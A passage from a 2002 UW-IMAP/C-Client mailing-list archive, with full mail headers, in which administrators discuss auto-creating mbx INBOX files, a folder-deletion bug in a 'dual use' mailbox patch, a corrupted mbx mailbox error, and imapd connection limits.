Friedrich Lobenstock -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri May 17 10:10:06 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 May 2002 10:10:06 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4HHA6XG018111 for ; Fri, 17 May 2002 10:10:06 -0700 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Fri May 17 10:10:05 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4HHA4Ge002761; Fri, 17 May 2002 10:10:04 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4HH9ceo079748; Fri, 17 May 2002 10:09:38 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4HGsqw3033928 for ; Fri, 17 May 2002 09:54:52 -0700 Received: FROM mxu1.u.washington.edu BY mailscan2.cac.washington.edu ; Fri May 17 09:54:51 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114] (may be forged)) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4HGsol3013163 for ; Fri, 17 May 2002 09:54:51 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id JAA20861; Fri, 17 May 2002 09:54:48 -0700 (PDT) Message-Id: Date: Fri, 17 May 2002 09:53:39 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: C-Client/UW-IMAP Mailing Liste Subject: re: howto to force creation of /home/user/INBOX? In-Reply-To: <3CE5295A.2040804@fl.priv.at> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 17 May 2002 18:01:30 +0200, Friedrich Lobenstock wrote: > Where (in which file(s)) would be the best place to add code to create > an "empty" INBOX in the users home if it did not exist, if there's not > already an option for that? > > PS: I know of tmail/dmail but that's currently not feasable because > of a non standard delivery agent. Use tmail or dmail built with CREATEPROTO=mbxproto *is* the answer. How do you expect to use a "non-standard delivery agent" with mbx format? From pinedev@shivax2.cac.washington.edu Fri May 17 10:13:37 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 May 2002 10:13:37 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4HHDbXG018300 for ; Fri, 17 May 2002 10:13:37 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Fri May 17 10:13:35 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4HHDYGe002892; Fri, 17 May 2002 10:13:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4HHD6qt015848; Fri, 17 May 2002 10:13:06 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4HH7Xw3033978 for ; Fri, 17 May 2002 10:07:33 -0700 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Fri May 17 10:07:32 2002 -0700 Received: from www.hr.vc-graz.ac.at (www.hr.vc-graz.ac.at [193.171.240.3]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4HH7Q9n021599 for ; Fri, 17 May 2002 10:07:32 -0700 Received: from fl.priv.at (a-107.vc-graz.ac.at [193.171.240.107]) by www.hr.vc-graz.ac.at (8.11.6/linuxconf) with ESMTP id g4HH7q401756; Fri, 17 May 2002 19:07:52 +0200 Message-Id: <3CE5388D.1060901@fl.priv.at> Date: Fri, 17 May 2002 19:06:21 +0200 Reply-To: C-Client/UW-IMAP Mailing Liste Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: C-Client/UW-IMAP Mailing Liste Cc: john65@pobox.com Subject: Re: howto to force creation of /home/user/INBOX? References: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: de, en X-Enigmail-Version: 0.49.5.0 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN john65@pobox.com wrote: > > Why not use mbxcreat when your create the account instead of dorking with > the IMAP code? > Here's a snip from a perl script we use. > system("/usr/local/bin/mbxcreat", "#driver.mbx$imapdir/INBOX"); No, it has to be created by Linuxconf and I don't know if it ever will, because at the moment it does not do it. So the solution via the imap server is currently my only possibility. In the future it might be better to extract the needed code from linuxconf's vdeliver and integrate it into dmail/tmail (don't remember which is the one to use as delivery agent). But for now I need a to know how I can do it in imapd. There must be some place, haven't found :(, where imapd checks if the inbox is a mbx inbox in fact and that's where I want it to create an empty mbx inbox if it does not already exist. PS: Please keep it on the list - that's why I set the reply-to header. -- MfG / Regards Friedrich Lobenstock From pinedev@shivax2.cac.washington.edu Fri May 17 10:50:56 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 May 2002 10:50:56 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4HHouXG019808 for ; Fri, 17 May 2002 10:50:56 -0700 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Fri May 17 10:50:50 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4HHooGe004105; Fri, 17 May 2002 10:50:50 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4HHoLeo085526; Fri, 17 May 2002 10:50:21 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4HHiKw3039288 for ; Fri, 17 May 2002 10:44:20 -0700 Received: FROM mxu4.u.washington.edu BY mailscan2.cac.washington.edu ; Fri May 17 10:31:19 2002 -0700 Received: from www.hr.vc-graz.ac.at (www.hr.vc-graz.ac.at [193.171.240.3]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4HHVIpl010606 for ; Fri, 17 May 2002 10:31:18 -0700 Received: from fl.priv.at (a-107.vc-graz.ac.at [193.171.240.107]) by www.hr.vc-graz.ac.at (8.11.6/linuxconf) with ESMTP id g4HHVp401971; Fri, 17 May 2002 19:31:51 +0200 Message-Id: <3CE53E2B.3030507@fl.priv.at> Date: Fri, 17 May 2002 19:30:19 +0200 Reply-To: C-Client/UW-IMAP Mailing Liste Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: C-Client/UW-IMAP Mailing Liste Subject: Re: howto to force creation of /home/user/INBOX? References: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: de, en X-Enigmail-Version: 0.49.5.0 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > On Fri, 17 May 2002 18:01:30 +0200, Friedrich Lobenstock wrote: > >>Where (in which file(s)) would be the best place to add code to create >>an "empty" INBOX in the users home if it did not exist, if there's not >>already an option for that? >> >>PS: I know of tmail/dmail but that's currently not feasable because >>of a non standard delivery agent. > > > Use tmail or dmail built with CREATEPROTO=mbxproto *is* the answer. No, not for now. > > How do you expect to use a "non-standard delivery agent" with mbx format? The problem is that vdeliver (from Linuxconf) does only standard unix format mailbox delivery to /var/spool/vmail/mail-domain/user. Each virtual mail user has a home directory /vhome/mail-domain/home/user/ imapd is patched with the vimap patch to have support for virtual mail domain detection. As said before createproto=mbx. So now what's missing for now is that I need imapd to create an empty inbox /vhome/mail-domain/home/user/INBOX if this file does not exist before it checks which driver to use for the inbox. -- MfG / Regards Friedrich Lobenstock From pinedev@shivax2.cac.washington.edu Sat May 18 05:25:53 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 18 May 2002 05:25:53 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4ICPrXG016706 for ; Sat, 18 May 2002 05:25:53 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Sat May 18 05:25:52 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4ICPpGe028511; Sat, 18 May 2002 05:25:51 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4ICP6R8067380; Sat, 18 May 2002 05:25:06 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4ICNDw3079490 for ; Sat, 18 May 2002 05:23:13 -0700 Received: FROM mxu3.u.washington.edu BY mailscan5.cac.washington.edu ; Sat May 18 05:23:13 2002 -0700 Received: from camelot.virtualavalon.net (127bus50.tampabay.rr.com [24.94.127.50]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4ICNC9n019721 for ; Sat, 18 May 2002 05:23:12 -0700 Received: from arthur.virtualavalon.net (arthur.virtualavalon.net [172.20.1.10]) by camelot.virtualavalon.net (8.12.0/8.12.0) with ESMTP id g4ICN6RK020196 for ; Sat, 18 May 2002 08:23:06 -0400 Received: from tampabay.rr.com (wayfarer.virtualavalon.net [172.20.1.15]) by arthur.virtualavalon.net (8.12.0/8.12.0) with ESMTP id g4ICN1HO003685 for ; Sat, 18 May 2002 08:23:01 -0400 (EDT) Message-Id: <3CE645F8.3020607@tampabay.rr.com> Date: Sat, 18 May 2002 08:15:52 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jesse W. Asher" To: C-Client/UW-IMAP Mailing Liste Subject: Re: howto to force creation of /home/user/INBOX? References: <3CE5295A.2040804@fl.priv.at> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Could you let me know if you get an answer to this? Thanks!! Friedrich Lobenstock wrote: > Hi! > > How can I force the creation of a /home/user/INBOX, so the users > inbox is an mbx inbox per default? I already did apply > -CREATEPROTO=unixproto > +CREATEPROTO=mbxproto > in src/osdep/unix/Makefile. > > Where (in which file(s)) would be the best place to add code to create > an "empty" INBOX in the users home if it did not exist, if there's not > already an option for that? > > PS: I know of tmail/dmail but that's currently not feasable because > of a non standard delivery agent. > -- Jesse W. Asher "They that can give up essential liberty to purchase a little temporary safety, deserve neither liberty or safety." - Benjamin Franklin From pinedev@shivax2.cac.washington.edu Sat May 18 07:56:18 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 18 May 2002 07:56:18 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4IEuHXG018898 for ; Sat, 18 May 2002 07:56:17 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Sat May 18 07:56:11 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4IEuBLS021603; Sat, 18 May 2002 07:56:11 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4IEtbeo074894; Sat, 18 May 2002 07:55:38 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4IEsMw3011766 for ; Sat, 18 May 2002 07:54:23 -0700 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Sat May 18 07:54:21 2002 -0700 Received: from www.hr.vc-graz.ac.at (www.hr.vc-graz.ac.at [193.171.240.3]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4IEsHpl012487; Sat, 18 May 2002 07:54:20 -0700 Received: from fl.priv.at (a-107.vc-graz.ac.at [193.171.240.107]) by www.hr.vc-graz.ac.at (8.11.6/linuxconf) with ESMTP id g4IEso408869; Sat, 18 May 2002 16:54:50 +0200 Message-Id: <3CE66AD1.90009@fl.priv.at> Date: Sat, 18 May 2002 16:53:05 +0200 Reply-To: C-Client/UW-IMAP Mailing Liste Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: C-Client/UW-IMAP Mailing Liste Cc: Cory Sharp , imap@u.washington.edu Subject: bug-report: dual-use patch and delete (was Re: Dual use patch page) References: <013601c1f154$754fde80$0e01a8c0@loopdy> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: de, en X-Enigmail-Version: 0.49.5.0 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Cory Sharp wrote: > I've created a web page for a slightly updated version of the dual use patch I > posted about on March 20. For anyone interested, the page provides more > information about the patch as well as the patch itself: > > http://home.pacbell.net/cssharp/dualuse.html > > Brief Description: This patch hacks support for "dual use" mailboxes over UW > IMAP 2001a. Dual use allows for standard file-based mailbox formats, such as > UNIX mail and MBX, to appear to contain both messages and subfolders when > accessed by an IMAP client. I suggest when deleting a folder that contains subfolders ("_@dir" style) that this operation fails when there are folders in the "_@dir" subdir. Look at this: . list "" * * LIST (\NoInferiors) NIL INBOX . OK LIST completed . create test . OK CREATE completed . list "" * * LIST () "/" test * LIST (\NoInferiors) NIL INBOX . OK LIST completed . create test/test . OK CREATE completed . list "" * * LIST () "/" test * LIST () "/" test/test * LIST (\NoInferiors) NIL INBOX . OK LIST completed Up till here everythings ok # l -R /vhome/fl.priv.at/home/fl2/ /vhome/fl.priv.at/home/fl2/: total 9 drwx------ 3 55003 popusers 136 May 18 16:47 ./ drwxr-xr-x 13 root root 328 Oct 28 2001 ../ -rw-r--r-- 1 55003 popusers 6 Feb 26 2001 .mailboxlist -rw------- 1 55003 popusers 2048 May 18 16:47 test drwx------ 2 55003 popusers 72 May 18 16:39 test_@dir/ /vhome/fl.priv.at/home/fl2/test_@dir: total 5 drwx------ 2 55003 popusers 72 May 18 16:39 ./ drwx------ 3 55003 popusers 136 May 18 16:47 ../ -rw------- 1 55003 popusers 2048 May 18 16:44 test www.scotty.co.at:~ # But now we get into troubles: . delete test . OK DELETE completed . list "" * * LIST (\NoInferiors) NIL INBOX . OK LIST completed # l -R /vhome/fl.priv.at/home/fl2/ /vhome/fl.priv.at/home/fl2/: total 5 drwx------ 3 55003 popusers 112 May 18 16:52 ./ drwxr-xr-x 13 root root 328 Oct 28 2001 ../ -rw-r--r-- 1 55003 popusers 6 Feb 26 2001 .mailboxlist drwx------ 2 55003 popusers 72 May 18 16:39 test_@dir/ /vhome/fl.priv.at/home/fl2/test_@dir: total 5 drwx------ 2 55003 popusers 72 May 18 16:39 ./ drwx------ 3 55003 popusers 112 May 18 16:52 ../ -rw------- 1 55003 popusers 2048 May 18 16:44 test Now we don't see the "test/test" folder anymore, but if we know that it exists it can of course be selected. . select test/test * 0 EXISTS * 0 RECENT * OK [UIDVALIDITY 1021732758] UID validity status * OK [UIDNEXT 1] Predicted next UID * FLAGS (\Answered \Flagged \Deleted \Draft \Seen) * OK [PERMANENTFLAGS (\* \Answered \Flagged \Deleted \Draft \Seen)] Permanent flags . OK [READ-WRITE] SELECT completed PS: Reply-To set to C-Client list, as that seems to be the appropriate place to discuss everything regarding the UW-imapd. -- MfG / Regards Friedrich Lobenstock From pinedev@shivax2.cac.washington.edu Thu May 23 11:49:56 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 23 May 2002 11:49:56 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4NInuXG025051 for ; Thu, 23 May 2002 11:49:56 -0700 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Thu May 23 11:49:55 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4NInsGe011622; Thu, 23 May 2002 11:49:55 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4NImpqt031098; Thu, 23 May 2002 11:48:51 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4NIhbw3063244 for ; Thu, 23 May 2002 11:43:37 -0700 Received: FROM mxu2.u.washington.edu BY mailscan2.cac.washington.edu ; Thu May 23 11:43:36 2002 -0700 Received: from helix.nih.gov (helix.nih.gov [128.231.2.3]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4NIhas6019323 for ; Thu, 23 May 2002 11:43:36 -0700 Received: from localhost (rick@localhost) by helix.nih.gov (8.11.6/8.11.6) with ESMTP id g4NIhZd17911834 for ; Thu, 23 May 2002 14:43:35 -0400 (EDT) Message-Id: Date: Thu, 23 May 2002 14:43:35 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rick Troxel To: c-client@u.washington.edu Subject: Problem moving messages from new mbx folder MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Please Cc: rick+c-client@helix.nih.gov in any responses. Last evening we converted our few IMAP users who were relying on the mbox driver's accumlating their mail in their home directories to the mbx driver instead, moving their mail from ~/mbox to ~/INBOX with the appropriate driver syntax. We then replaced imapd with one that doesn't have mbox driver support, so that our many (non-IMAP) users with mbox files from bsd mail programs wouldn't get nasty surprises if they tried out our new WWW/IMAP mail service. One of the converted users reports a problem moving messages to other folders. The diagnostic is given below. (I note at least one typo, so take it with a grain of salt.) Any advice would be greatly appreciated. Our imapd is version IMAP4rev1 2001.315, a.k.a. imap-2001a. Many thanks, -- Rick Troxel rick@helix.nih.gov 301/435-2983 ///////////////////////////////////////////////////////////////// All effort and exertion put forth by man from the fullness of his heart is worship, if it is prompted by the highest motives and the will to do service to humanity. --Abdu'l-Baha ---------- Forwarded message ---------- Today I am not able to move e-mail from the Inbox to any other folder when I am in Outlook Express. Previously I had no problems moving messages to other folders. (I can still move messages in pine.) When I try to move messages I get the following error message: Your IMAP server wishes tom alert you to the following: IMAP4rev1 server crashing: missing delimiter after message size: \ Help! -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu May 23 19:49:00 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 23 May 2002 19:49:00 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4O2n0XG009547 for ; Thu, 23 May 2002 19:49:00 -0700 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Thu May 23 19:48:59 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4O2mxLS019651; Thu, 23 May 2002 19:48:59 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4O2mUlZ022592; Thu, 23 May 2002 19:48:30 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4O2jGw3037364 for ; Thu, 23 May 2002 19:45:16 -0700 Received: FROM mxu1.u.washington.edu BY mailscan4.cac.washington.edu ; Thu May 23 19:45:16 2002 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4O2jFl3000738 for ; Thu, 23 May 2002 19:45:16 -0700 Received: from mailscan-out3.cac.washington.edu (mailscan-out3.cac.washington.edu [140.142.32.18]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4O2jFSJ007281 for ; Thu, 23 May 2002 19:45:15 -0700 Received: FROM smtp.washington.edu BY mailscan-out3.cac.washington.edu ; Thu May 23 19:45:15 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4O2jF3b004566 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO); Thu, 23 May 2002 19:45:15 -0700 Message-Id: Date: Thu, 23 May 2002 19:45:15 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Rick Troxel Cc: c-client@u.washington.edu Subject: Re: Problem moving messages from new mbx folder In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@CAC.Washington.EDU X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > When I try to move messages I get the following error message: > > Your IMAP server wishes tom alert you to the following: IMAP4rev1 server > crashing: missing delimiter after message size: \ This looks like a corrupted mbx format mailbox. Check the FAQ for how to go about diagnosing and fixing it. Be wary of any external programs which may have modified a mailbox. If a traditional UNIX format program (e.g. procmail) appends to an mbx format mailbox, you would get something like this. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Fri May 24 05:09:18 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 24 May 2002 05:09:18 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4OC9HXG028943 for ; Fri, 24 May 2002 05:09:17 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Fri May 24 05:09:16 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4OC9GGe005658; Fri, 24 May 2002 05:09:16 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4OC8qqt009324; Fri, 24 May 2002 05:08:52 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4OC5ww3037216 for ; Fri, 24 May 2002 05:05:58 -0700 Received: FROM mxu4.u.washington.edu BY mailscan4.cac.washington.edu ; Fri May 24 05:05:57 2002 -0700 Received: from helix.nih.gov (helix.nih.gov [128.231.2.3]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4OC5vpl019272 for ; Fri, 24 May 2002 05:05:57 -0700 Received: from localhost (rick@localhost) by helix.nih.gov (8.11.6/8.11.6) with ESMTP id g4OC5u316274971 for ; Fri, 24 May 2002 08:05:56 -0400 (EDT) Message-Id: Date: Fri, 24 May 2002 08:05:56 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rick Troxel To: c-client@u.washington.edu Subject: Re: Problem moving messages from new mbx folder In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hmm. I can read a copy of INBOX with pine. Does this rule out the possibility of corruption? Thanks, --rdt Yesterday (05/23/02) at 19:45 -0700, Mark Crispin wrote: MRC>> When I try to move messages I get the following error message: MRC>> MRC>> Your IMAP server wishes tom alert you to the following: IMAP4rev1 server MRC>> crashing: missing delimiter after message size: \ MRC> MRC>This looks like a corrupted mbx format mailbox. Check the FAQ for MRC>how to go about diagnosing and fixing it. From pinedev@shivax2.cac.washington.edu Fri May 24 05:17:30 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 24 May 2002 05:17:30 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4OCHUXG029079 for ; Fri, 24 May 2002 05:17:30 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Fri May 24 05:17:29 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4OCHTLS031704; Fri, 24 May 2002 05:17:29 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4OCH2R8015784; Fri, 24 May 2002 05:17:03 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4OCExw3017154 for ; Fri, 24 May 2002 05:14:59 -0700 Received: FROM mxu2.u.washington.edu BY mailscan3.cac.washington.edu ; Fri May 24 05:14:58 2002 -0700 Received: from srilanka.mediasolv.com ([203.115.19.158]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4OCEvs6022590 for ; Fri, 24 May 2002 05:14:58 -0700 Received: from mediasolv.com ([203.115.19.135]) by srilanka.mediasolv.com with Microsoft SMTPSVC(5.0.2195.4905); Fri, 24 May 2002 18:14:18 +0600 Message-Id: <3CEE30D6.C2357128@mediasolv.com> Date: Fri, 24 May 2002 18:23:50 +0600 Reply-To: yasela@mediasolv.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Yasela Udawatte To: "c-client@u.washington.edu" Subject: IMAPD Max. Concurrent Connections. MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: root@mxu2.u.washington.edu X-Accept-Language: en X-OriginalArrivalTime: 24 May 2002 12:14:18.0249 (UTC) FILETIME=[873A0790:01C2031C] X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN What is the mximum number of concurrent connections can be handled by imap ...? Rgds Yasela -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri May 24 10:14:17 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 24 May 2002 